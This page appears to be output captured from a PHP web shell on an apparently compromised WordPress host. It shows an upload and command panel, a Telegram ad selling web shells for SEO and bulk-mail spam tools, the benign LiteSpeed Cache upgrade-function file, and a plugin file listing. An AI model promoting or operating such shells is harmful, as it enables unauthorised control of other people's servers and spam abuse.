__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.152: ~ $
<?php
/**
 * Database upgrade funcs
 *
 * NOTE: whenever called this file, always call Data::get_upgrade_lock and Data::_set_upgrade_lock first.
 *
 * @since  3.0
 */
defined('WPINC') || exit();

use LiteSpeed\Debug2;
use LiteSpeed\Conf;
use LiteSpeed\Admin_Display;
use LiteSpeed\File;

/**
 * Append webp/mobile to url_file
 * @since 5.3
 */
function litespeed_update_5_3()
{
	global $wpdb;
	Debug2::debug('[Data] Upgrade url_file table');
	$tb_exists = $wpdb->get_var('SHOW TABLES LIKE "' . $wpdb->prefix . 'litespeed_url_file"');
	if ($tb_exists) {
		$q =
			'ALTER TABLE `' .
			$wpdb->prefix .
			'litespeed_url_file`
				ADD COLUMN `mobile` tinyint(4) NOT NULL COMMENT "mobile=1",
				ADD COLUMN `webp` tinyint(4) NOT NULL COMMENT "webp=1"
			';
		$wpdb->query($q);
	}
}

/**
 * Add expired to url_file table
 * @since 4.4.4
 */
function litespeed_update_4_4_4()
{
	global $wpdb;
	Debug2::debug('[Data] Upgrade url_file table');
	$tb_exists = $wpdb->get_var('SHOW TABLES LIKE "' . $wpdb->prefix . 'litespeed_url_file"');
	if ($tb_exists) {
		$q =
			'ALTER TABLE `' .
			$wpdb->prefix .
			'litespeed_url_file`
				ADD COLUMN `expired` int(11) NOT NULL DEFAULT 0,
				ADD KEY `filename_2` (`filename`,`expired`),
				ADD KEY `url_id` (`url_id`,`expired`)
			';
		$wpdb->query($q);
	}
}

/**
 * Drop cssjs table and rm cssjs folder
 * @since 4.3
 */
function litespeed_update_4_3()
{
	if (file_exists(LITESPEED_STATIC_DIR . '/ccsjs')) {
		File::rrmdir(LITESPEED_STATIC_DIR . '/ccsjs');
	}
}

/**
 * Drop object cache data file
 * @since 4.1
 */
function litespeed_update_4_1()
{
	if (file_exists(WP_CONTENT_DIR . '/.object-cache.ini')) {
		unlink(WP_CONTENT_DIR . '/.object-cache.ini');
	}
}

/**
 * Drop cssjs table and rm cssjs folder
 * @since 4.0
 */
function litespeed_update_4()
{
	global $wpdb;
	$tb = $wpdb->prefix . 'litespeed_cssjs';
	$existed = $wpdb->get_var("SHOW TABLES LIKE '$tb'");
	if (!$existed) {
		return;
	}

	$q = 'DROP TABLE IF EXISTS ' . $tb;
	$wpdb->query($q);

	if (file_exists(LITESPEED_STATIC_DIR . '/ccsjs')) {
		File::rrmdir(LITESPEED_STATIC_DIR . '/ccsjs');
	}
}

/**
 * Append jQuery to JS optm exclude list for max compatibility
 * Turn off JS Combine and Defer
 *
 * @since  3.5.1
 */
function litespeed_update_3_5()
{
	$__conf = Conf::cls();
	// Excludes jQuery
	foreach (array('optm-js_exc', 'optm-js_defer_exc') as $v) {
		$curr_setting = $__conf->conf($v);
		$curr_setting[] = 'jquery.js';
		$curr_setting[] = 'jquery.min.js';
		$__conf->update($v, $curr_setting);
	}
	// Turn off JS Combine and defer
	$show_msg = false;
	foreach (array('optm-js_comb', 'optm-js_defer', 'optm-js_inline_defer') as $v) {
		$curr_setting = $__conf->conf($v);
		if (!$curr_setting) {
			continue;
		}
		$show_msg = true;
		$__conf->update($v, false);
	}

	if ($show_msg) {
		$msg = sprintf(
			__(
				'LiteSpeed Cache upgraded successfully. NOTE: Due to changes in this version, the settings %1$s and %2$s have been turned OFF. Please turn them back on manually and verify that your site layout is correct, and you have no JS errors.',
				'litespeed-cache'
			),
			'<code>' . __('JS Combine', 'litespeed-cache') . '</code>',
			'<code>' . __('JS Defer', 'litespeed-cache') . '</code>'
		);
		$msg .= sprintf(' <a href="admin.php?page=litespeed-page_optm#settings_js">%s</a>.', __('Click here to settings', 'litespeed-cache'));
		Admin_Display::info($msg, false, true);
	}
}

/**
 * For version under v2.0 to v2.0+
 *
 * @since  3.0
 */
function litespeed_update_2_0($ver)
{
	global $wpdb;

	// Table version only exists after all old data migrated
	// Last modified is v2.4.2
	if (version_compare($ver, '2.4.2', '<')) {
		/**
		 * Convert old data from postmeta to img_optm table
		 * @since  2.0
		 */

		// Migrate data from `wp_postmeta` to `wp_litespeed_img_optm`
		$mids_to_del = array();
		$q = "SELECT * FROM $wpdb->postmeta WHERE meta_key = %s ORDER BY meta_id";
		$meta_value_list = $wpdb->get_results($wpdb->prepare($q, 'litespeed-optimize-data'));
		if ($meta_value_list) {
			$max_k = count($meta_value_list) - 1;
			foreach ($meta_value_list as $k => $v) {
				$md52src_list = maybe_unserialize($v->meta_value);
				foreach ($md52src_list as $md5 => $v2) {
					$f = array(
						'post_id' => $v->post_id,
						'optm_status' => $v2[1],
						'src' => $v2[0],
						'srcpath_md5' => md5($v2[0]),
						'src_md5' => $md5,
						'server' => $v2[2],
					);
					$wpdb->replace($wpdb->prefix . 'litespeed_img_optm', $f);
				}
				$mids_to_del[] = $v->meta_id;

				// Delete from postmeta
				if (count($mids_to_del) > 100 || $k == $max_k) {
					$q = "DELETE FROM $wpdb->postmeta WHERE meta_id IN ( " . implode(',', array_fill(0, count($mids_to_del), '%s')) . ' ) ';
					$wpdb->query($wpdb->prepare($q, $mids_to_del));

					$mids_to_del = array();
				}
			}

			Debug2::debug('[Data] img_optm inserted records: ' . $k);
		}

		$q = "DELETE FROM $wpdb->postmeta WHERE meta_key = %s";
		$rows = $wpdb->query($wpdb->prepare($q, 'litespeed-optimize-status'));
		Debug2::debug('[Data] img_optm delete optm_status records: ' . $rows);
	}

	/**
	 * Add target_md5 field to table
	 * @since  2.4.2
	 */
	if (version_compare($ver, '2.4.2', '<') && version_compare($ver, '2.0', '>=')) {
		// NOTE: For new users, need to bypass this section
		$sql = sprintf('ALTER TABLE `%1$s` ADD `server_info` text NOT NULL, DROP COLUMN `server`', $wpdb->prefix . 'litespeed_img_optm');

		$res = $wpdb->query($sql);
		if ($res !== true) {
			Debug2::debug('[Data] Warning: Alter table img_optm failed!', $sql);
		} else {
			Debug2::debug('[Data] Successfully upgraded table img_optm.');
		}
	}

	// Delete img optm tb version
	delete_option($wpdb->prefix . 'litespeed_img_optm');

	// Delete possible HTML optm data from wp_options
	delete_option('litespeed-cache-optimized');

	// Delete HTML optm tb version
	delete_option($wpdb->prefix . 'litespeed_optimizer');
}

/**
 * Move all options in litespeed-cache-conf from v3.0- to separate records
 *
 * @since  3.0
 */
function litespeed_update_3_0($ver)
{
	global $wpdb;
	// Upgrade v2.0- to v2.0 first
	if (version_compare($ver, '2.0', '<')) {
		litespeed_update_2_0($ver);
	}

	set_time_limit(86400);

	// conv items to litespeed.conf.*
	Debug2::debug('[Data] Conv items to litespeed.conf.*');
	$data = array(
		'litespeed-cache-exclude-cache-roles' => 'cache-exc_roles',
		'litespeed-cache-drop_qs' => 'cache-drop_qs',
		'litespeed-forced_cache_uri' => 'cache-force_uri',
		'litespeed-cache_uri_priv' => 'cache-priv_uri',
		'litespeed-excludes_uri' => 'cache-exc',
		'litespeed-cache-vary-group' => 'cache-vary_group',
		'litespeed-adv-purge_all_hooks' => 'purge-hook_all',
		'litespeed-object_global_groups' => 'object-global_groups',
		'litespeed-object_non_persistent_groups' => 'object-non_persistent_groups',
		'litespeed-media-lazy-img-excludes' => 'media-lazy_exc',
		'litespeed-media-lazy-img-cls-excludes' => 'media-lazy_cls_exc',
		'litespeed-media-webp_attribute' => 'img_optm-webp_attr',
		'litespeed-optm-css' => 'optm-ccss_con',
		'litespeed-optm_excludes' => 'optm-exc',
		'litespeed-optm-ccss-separate_posttype' => 'optm-ccss_sep_posttype',
		'litespeed-optm-css-separate_uri' => 'optm-ccss_sep_uri',
		'litespeed-optm-js-defer-excludes' => 'optm-js_defer_exc',
		'litespeed-cache-dns_prefetch' => 'optm-dns_prefetch',
		'litespeed-cache-exclude-optimization-roles' => 'optm-exc_roles',
		'litespeed-log_ignore_filters' => 'debug-log_no_filters', // depreciated
		'litespeed-log_ignore_part_filters' => 'debug-log_no_part_filters', // depreciated
		'litespeed-cdn-ori_dir' => 'cdn-ori_dir',
		'litespeed-cache-cdn_mapping' => 'cdn-mapping',
		'litespeed-crawler-as-uids' => 'crawler-roles',
		'litespeed-crawler-cookies' => 'crawler-cookies',
	);
	foreach ($data as $k => $v) {
		$old_data = get_option($k);
		if ($old_data) {
			Debug2::debug("[Data] Convert $k");
			// They must be an array
			if (!is_array($old_data) && $v != 'optm-ccss_con') {
				$old_data = explode("\n", $old_data);
			}

			if ($v == 'crawler-cookies') {
				$tmp = array();
				$i = 0;
				foreach ($old_data as $k2 => $v2) {
					$tmp[$i]['name'] = $k2;
					$tmp[$i]['vals'] = explode("\n", $v2);
					$i++;
				}
				$old_data = $tmp;
			}

			add_option('litespeed.conf.' . $v, $old_data);
		}
		Debug2::debug("[Data] Delete $k");
		delete_option($k);
	}

	// conv other items
	$data = array(
		'litespeed-setting-mode' => 'litespeed.setting.mode',
		'litespeed-media-need-pull' => 'litespeed.img_optm.need_pull',
		'litespeed-env-ref' => 'litespeed.env.ref',
		'litespeed-cache-cloudflare_status' => 'litespeed.cdn.cloudflare.status',
	);
	foreach ($data as $k => $v) {
		$old_data = get_option($k);
		if ($old_data) {
			add_option($v, $old_data);
		}
		delete_option($k);
	}

	// Conv conf from litespeed-cache-conf child to litespeed.conf.*
	Debug2::debug('[Data] Conv conf from litespeed-cache-conf child to litespeed.conf.*');
	$previous_options = get_option('litespeed-cache-conf');

	$data = array(
		'radio_select' => 'cache',
		'hash' => 'hash',
		'auto_upgrade' => 'auto_upgrade',
		'news' => 'news',
		'crawler_domain_ip' => 'server_ip',

		'esi_enabled' => 'esi',
		'esi_cached_admbar' => 'esi-cache_admbar',
		'esi_cached_commform' => 'esi-cache_commform',

		'heartbeat' => 'misc-heartbeat_front',

		'cache_browser' => 'cache-browser',
		'cache_browser_ttl' => 'cache-ttl_browser',
		'instant_click' => 'util-instant_click',
		'use_http_for_https_vary' => 'util-no_https_vary',

		'purge_upgrade' => 'purge-upgrade',
		'timed_urls' => 'purge-timed_urls',
		'timed_urls_time' => 'purge-timed_urls_time',

		'cache_priv' => 'cache-priv',
		'cache_commenter' => 'cache-commenter',
		'cache_rest' => 'cache-rest',
		'cache_page_login' => 'cache-page_login',
		'cache_favicon' => 'cache-favicon',
		'cache_resources' => 'cache-resources',
		'mobileview_enabled' => 'cache-mobile',
		'mobileview_rules' => 'cache-mobile_rules',
		'nocache_useragents' => 'cache-exc_useragents',
		'nocache_cookies' => 'cache-exc_cookies',
		'excludes_qs' => 'cache-exc_qs',
		'excludes_cat' => 'cache-exc_cat',
		'excludes_tag' => 'cache-exc_tag',
		'public_ttl' => 'cache-ttl_pub',
		'private_ttl' => 'cache-ttl_priv',
		'front_page_ttl' => 'cache-ttl_frontpage',
		'feed_ttl' => 'cache-ttl_feed',
		'login_cookie' => 'cache-login_cookie',

		'debug_disable_all' => 'debug-disable_all',
		'debug' => 'debug',
		'admin_ips' => 'debug-ips',
		'debug_level' => 'debug-level',
		'log_file_size' => 'debug-filesize',
		'debug_cookie' => 'debug-cookie',
		'collapse_qs' => 'debug-collapse_qs',
		// 'log_filters' 				=> 'debug-log_filters',

		'crawler_cron_active' => 'crawler',
		// 'crawler_include_posts' 	=> 'crawler-inc_posts',
		// 'crawler_include_pages' 	=> 'crawler-inc_pages',
		// 'crawler_include_cats' 		=> 'crawler-inc_cats',
		// 'crawler_include_tags' 		=> 'crawler-inc_tags',
		// 'crawler_excludes_cpt' 		=> 'crawler-exc_cpt',
		// 'crawler_order_links' 		=> 'crawler-order_links',
		'crawler_usleep' => 'crawler-usleep',
		'crawler_run_duration' => 'crawler-run_duration',
		'crawler_run_interval' => 'crawler-run_interval',
		'crawler_crawl_interval' => 'crawler-crawl_interval',
		'crawler_threads' => 'crawler-threads',
		'crawler_load_limit' => 'crawler-load_limit',
		'crawler_custom_sitemap' => 'crawler-sitemap',

		'cache_object' => 'object',
		'cache_object_kind' => 'object-kind',
		'cache_object_host' => 'object-host',
		'cache_object_port' => 'object-port',
		'cache_object_life' => 'object-life',
		'cache_object_persistent' => 'object-persistent',
		'cache_object_admin' => 'object-admin',
		'cache_object_transients' => 'object-transients',
		'cache_object_db_id' => 'object-db_id',
		'cache_object_user' => 'object-user',
		'cache_object_pswd' => 'object-psw',

		'cdn' => 'cdn',
		'cdn_ori' => 'cdn-ori',
		'cdn_exclude' => 'cdn-exc',
		// 'cdn_remote_jquery'			=> 'cdn-remote_jq',
		'cdn_quic' => 'cdn-quic',
		'cdn_cloudflare' => 'cdn-cloudflare',
		'cdn_cloudflare_email' => 'cdn-cloudflare_email',
		'cdn_cloudflare_key' => 'cdn-cloudflare_key',
		'cdn_cloudflare_name' => 'cdn-cloudflare_name',
		'cdn_cloudflare_zone' => 'cdn-cloudflare_zone',

		'media_img_lazy' => 'media-lazy',
		'media_img_lazy_placeholder' => 'media-lazy_placeholder',
		'media_placeholder_resp' => 'media-placeholder_resp',
		'media_placeholder_resp_color' => 'media-placeholder_resp_color',
		'media_placeholder_resp_async' => 'media-placeholder_resp_async',
		'media_iframe_lazy' => 'media-iframe_lazy',
		// 'media_img_lazyjs_inline'		=> 'media-lazyjs_inline',

		'media_optm_auto' => 'img_optm-auto',
		'media_optm_cron' => 'img_optm-cron',
		'media_optm_ori' => 'img_optm-ori',
		'media_rm_ori_bkup' => 'img_optm-rm_bkup',
		// 'media_optm_webp'			=> 'img_optm-webp',
		'media_webp_replace' => 'img_optm-webp',
		'media_optm_lossless' => 'img_optm-lossless',
		'media_optm_exif' => 'img_optm-exif',
		'media_webp_replace_srcset' => 'img_optm-webp_replace_srcset',

		'css_minify' => 'optm-css_min',
		// 'css_inline_minify'		=> 'optm-css_inline_min',
		'css_combine' => 'optm-css_comb',
		// 'css_combined_priority'	=> 'optm-css_comb_priority',
		// 'css_http2'				=> 'optm-css_http2',
		'css_exclude' => 'optm-css_exc',
		'js_minify' => 'optm-js_min',
		// 'js_inline_minify'		=> 'optm-js_inline_min',
		'js_combine' => 'optm-js_comb',
		// 'js_combined_priority'	=> 'optm-js_comb_priority',
		// 'js_http2'				=> 'optm-js_http2',
		'js_exclude' => 'optm-js_exc',
		// 'optimize_ttl'			=> 'optm-ttl',
		'html_minify' => 'optm-html_min',
		'optm_qs_rm' => 'optm-qs_rm',
		'optm_ggfonts_rm' => 'optm-ggfonts_rm',
		'optm_css_async' => 'optm-css_async',
		// 'optm_ccss_gen'			=> 'optm-ccss_gen',
		// 'optm_ccss_async'		=> 'optm-ccss_async',
		'optm_css_async_inline' => 'optm-css_async_inline',
		'optm_js_defer' => 'optm-js_defer',
		'optm_emoji_rm' => 'optm-emoji_rm',
		// 'optm_exclude_jquery'	=> 'optm-exc_jq',
		'optm_ggfonts_async' => 'optm-ggfonts_async',
		// 'optm_max_size'			=> 'optm-max_size',
		// 'optm_rm_comment'		=> 'optm-rm_comment',
	);
	foreach ($data as $k => $v) {
		if (!isset($previous_options[$k])) {
			continue;
		}
		// The following values must be array
		if (!is_array($previous_options[$k])) {
			if (in_array($v, array('cdn-ori', 'cache-exc_cat', 'cache-exc_tag'))) {
				$previous_options[$k] = explode(',', $previous_options[$k]);
				$previous_options[$k] = array_filter($previous_options[$k]);
			} elseif (in_array($v, array('cache-mobile_rules', 'cache-exc_useragents', 'cache-exc_cookies'))) {
				$previous_options[$k] = explode('|', str_replace('\\ ', ' ', $previous_options[$k]));
				$previous_options[$k] = array_filter($previous_options[$k]);
			} elseif (
				in_array($v, array(
					'purge-timed_urls',
					'cache-exc_qs',
					'debug-ips',
					// 'crawler-exc_cpt',
					'cdn-exc',
					'optm-css_exc',
					'optm-js_exc',
				))
			) {
				$previous_options[$k] = explode("\n", $previous_options[$k]);
				$previous_options[$k] = array_filter($previous_options[$k]);
			}
		}

		// Special handler for heartbeat
		if ($v == 'misc-heartbeat_front') {
			if (!$previous_options[$k]) {
				add_option('litespeed.conf.misc-heartbeat_front', true);
				add_option('litespeed.conf.misc-heartbeat_back', true);
				add_option('litespeed.conf.misc-heartbeat_editor', true);
				add_option('litespeed.conf.misc-heartbeat_front_ttl', 0);
				add_option('litespeed.conf.misc-heartbeat_back_ttl', 0);
				add_option('litespeed.conf.misc-heartbeat_editor_ttl', 0);
			}
			continue;
		}

		add_option('litespeed.conf.' . $v, $previous_options[$k]);
	}
	// Conv purge_by_post
	$data = array(
		'-' => 'purge-post_all',
		'F' => 'purge-post_f',
		'H' => 'purge-post_h',
		'PGS' => 'purge-post_p',
		'PGSRP' => 'purge-post_pwrp',
		'A' => 'purge-post_a',
		'Y' => 'purge-post_y',
		'M' => 'purge-post_m',
		'D' => 'purge-post_d',
		'T' => 'purge-post_t',
		'PT' => 'purge-post_pt',
	);
	if (isset($previous_options['purge_by_post'])) {
		$purge_by_post = explode('.', $previous_options['purge_by_post']);
		foreach ($data as $k => $v) {
			add_option('litespeed.conf.' . $v, in_array($k, $purge_by_post));
		}
	}
	// Conv 404/403/500 TTL
	$ttl_status = array();
	if (isset($previous_options['403_ttl'])) {
		$ttl_status[] = '403 ' . $previous_options['403_ttl'];
	}
	if (isset($previous_options['404_ttl'])) {
		$ttl_status[] = '404 ' . $previous_options['404_ttl'];
	}
	if (isset($previous_options['500_ttl'])) {
		$ttl_status[] = '500 ' . $previous_options['500_ttl'];
	}
	add_option('litespeed.conf.cache-ttl_status', $ttl_status);

	/**
	 * Resave cdn cfg from lscfg to separate cfg when upgrade to v1.7
	 *
	 * NOTE: this can be left here as `add_option` bcos it is after the item `litespeed-cache-cdn_mapping` is converted
	 *
	 * @since 1.7
	 */
	if (isset($previous_options['cdn_url'])) {
		$cdn_mapping = array(
			'url' => $previous_options['cdn_url'],
			'inc_img' => $previous_options['cdn_inc_img'],
			'inc_css' => $previous_options['cdn_inc_css'],
			'inc_js' => $previous_options['cdn_inc_js'],
			'filetype' => $previous_options['cdn_filetype'],
		);
		add_option('litespeed.conf.cdn-mapping', array($cdn_mapping));
		Debug2::debug('[Data] plugin_upgrade option adding CDN map');
	}

	/**
	 * Move Exclude settings to separate item
	 *
	 * NOTE: this can be left here as `add_option` bcos it is after the relevant items are converted
	 *
	 * @since  2.3
	 */
	if (isset($previous_options['forced_cache_uri'])) {
		add_option('litespeed.conf.cache-force_uri', $previous_options['forced_cache_uri']);
	}
	if (isset($previous_options['cache_uri_priv'])) {
		add_option('litespeed.conf.cache-priv_uri', $previous_options['cache_uri_priv']);
	}
	if (isset($previous_options['optm_excludes'])) {
		add_option('litespeed.conf.optm-exc', $previous_options['optm_excludes']);
	}
	if (isset($previous_options['excludes_uri'])) {
		add_option('litespeed.conf.cache-exc', $previous_options['excludes_uri']);
	}

	// Backup stale conf
	Debug2::debug('[Data] Backup stale conf');
	delete_option('litespeed-cache-conf');
	add_option('litespeed-cache-conf.bk', $previous_options);

	// Upgrade site_options if is network
	if (is_multisite()) {
		$ver = get_site_option('litespeed.conf._version');
		if (!$ver) {
			Debug2::debug('[Data] Conv multisite');
			$previous_site_options = get_site_option('litespeed-cache-conf');

			$data = array(
				'network_enabled' => 'cache',
				'use_primary_settings' => 'use_primary_settings',
				'auto_upgrade' => 'auto_upgrade',
				'purge_upgrade' => 'purge-upgrade',

				'cache_favicon' => 'cache-favicon',
				'cache_resources' => 'cache-resources',
				'mobileview_enabled' => 'cache-mobile',
				'mobileview_rules' => 'cache-mobile_rules',
				'login_cookie' => 'cache-login_cookie',
				'nocache_cookies' => 'cache-exc_cookies',
				'nocache_useragents' => 'cache-exc_useragents',

				'cache_object' => 'object',
				'cache_object_kind' => 'object-kind',
				'cache_object_host' => 'object-host',
				'cache_object_port' => 'object-port',
				'cache_object_life' => 'object-life',
				'cache_object_persistent' => 'object-persistent',
				'cache_object_admin' => 'object-admin',
				'cache_object_transients' => 'object-transients',
				'cache_object_db_id' => 'object-db_id',
				'cache_object_user' => 'object-user',
				'cache_object_pswd' => 'object-psw',

				'cache_browser' => 'cache-browser',
				'cache_browser_ttl' => 'cache-ttl_browser',

				'media_webp_replace' => 'img_optm-webp',
			);
			foreach ($data as $k => $v) {
				if (!isset($previous_site_options[$k])) {
					continue;
				}
				// The following values must be array
				if (!is_array($previous_site_options[$k])) {
					if (in_array($v, array('cache-mobile_rules', 'cache-exc_useragents', 'cache-exc_cookies'))) {
						$previous_site_options[$k] = explode('|', str_replace('\\ ', ' ', $previous_site_options[$k]));
						$previous_site_options[$k] = array_filter($previous_site_options[$k]);
					}
				}

				add_site_option('litespeed.conf.' . $v, $previous_site_options[$k]);
			}

			// These are already converted to single record in single site
			$data = array('object-global_groups', 'object-non_persistent_groups');
			foreach ($data as $v) {
				$old_data = get_option($v);
				if ($old_data) {
					add_site_option('litespeed.conf.' . $v, $old_data);
				}
			}

			delete_site_option('litespeed-cache-conf');

			add_site_option('litespeed.conf._version', '3.0');
		}
	}

	// delete tables
	Debug2::debug('[Data] Drop litespeed_optimizer');
	$q = 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'litespeed_optimizer';
	$wpdb->query($q);

	// Update image optm table
	Debug2::debug('[Data] Upgrade img_optm table');
	$tb_exists = $wpdb->get_var('SHOW TABLES LIKE "' . $wpdb->prefix . 'litespeed_img_optm"');
	if ($tb_exists) {
		$status_mapping = array(
			'requested' => 3,
			'notified' => 6,
			'pulled' => 9,
			'failed' => -1,
			'miss' => -3,
			'err' => -9,
			'err_fetch' => -5,
			'err_optm' => -7,
			'xmeta' => -8,
		);
		foreach ($status_mapping as $k => $v) {
			$q = 'UPDATE `' . $wpdb->prefix . "litespeed_img_optm` SET optm_status='$v' WHERE optm_status='$k'";
			$wpdb->query($q);
		}

		$q =
			'ALTER TABLE `' .
			$wpdb->prefix .
			'litespeed_img_optm`
				DROP INDEX `post_id_2`,
				DROP INDEX `root_id`,
				DROP INDEX `src_md5`,
				DROP INDEX `srcpath_md5`,
				DROP COLUMN `srcpath_md5`,
				DROP COLUMN `src_md5`,
				DROP COLUMN `root_id`,
				DROP COLUMN `target_saved`,
				DROP COLUMN `webp_saved`,
				DROP COLUMN `server_info`,
				MODIFY COLUMN `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
				MODIFY COLUMN `optm_status` tinyint(4) NOT NULL DEFAULT 0,
				MODIFY COLUMN `src` text COLLATE utf8mb4_unicode_ci NOT NULL
			';
		$wpdb->query($q);
	}

	delete_option('litespeed-recommended');

	Debug2::debug('[Data] litespeed_update_3_0 done!');

	add_option('litespeed.conf._version', '3.0');
}

Filemanager

Name Type Size Permission Actions
cdn Folder 0755
data_structure Folder 0755
activation.cls.php File 14.99 KB 0644
admin-display.cls.php File 33.22 KB 0644
admin-settings.cls.php File 9.52 KB 0644
admin.cls.php File 4.44 KB 0644
api.cls.php File 11.08 KB 0644
avatar.cls.php File 6.06 KB 0644
base.cls.php File 30.23 KB 0644
cdn-setup.cls.php File 10.45 KB 0644
cdn.cls.php File 13.13 KB 0644
cloud.cls.php File 42.48 KB 0644
conf.cls.php File 18.58 KB 0644
control.cls.php File 21.75 KB 0644
core.cls.php File 20.05 KB 0644
crawler-map.cls.php File 14 KB 0644
crawler.cls.php File 34.69 KB 0644
css.cls.php File 13.1 KB 0644
data.cls.php File 17.41 KB 0644
data.upgrade.func.php File 21.37 KB 0644
db-optm.cls.php File 9.58 KB 0644
debug2.cls.php File 13.1 KB 0644
doc.cls.php File 4.74 KB 0644
error.cls.php File 6.91 KB 0644
esi.cls.php File 26.91 KB 0644
file.cls.php File 10.13 KB 0644
gui.cls.php File 27.45 KB 0644
health.cls.php File 2.89 KB 0644
htaccess.cls.php File 23.95 KB 0644
img-optm.cls.php File 60.24 KB 0644
import.cls.php File 4.15 KB 0644
instance.cls.php File 154 B 0644
lang.cls.php File 15.47 KB 0644
localization.cls.php File 3.38 KB 0644
media.cls.php File 31.08 KB 0644
metabox.cls.php File 4.21 KB 0644
object-cache.cls.php File 15.92 KB 0644
object.lib.php File 33.97 KB 0644
optimize.cls.php File 36.67 KB 0644
optimizer.cls.php File 9.02 KB 0644
placeholder.cls.php File 14.15 KB 0644
preset.cls.php File 5.43 KB 0644
purge.cls.php File 29.79 KB 0644
report.cls.php File 5.33 KB 0644
rest.cls.php File 7.87 KB 0644
root.cls.php File 12.6 KB 0644
router.cls.php File 19.08 KB 0644
str.cls.php File 1.37 KB 0644
tag.cls.php File 8.62 KB 0644
task.cls.php File 5.83 KB 0644
tool.cls.php File 3.29 KB 0644
ucss.cls.php File 14.39 KB 0644
utility.cls.php File 20.63 KB 0644
vary.cls.php File 19.17 KB 0644
vpi.cls.php File 7.41 KB 0644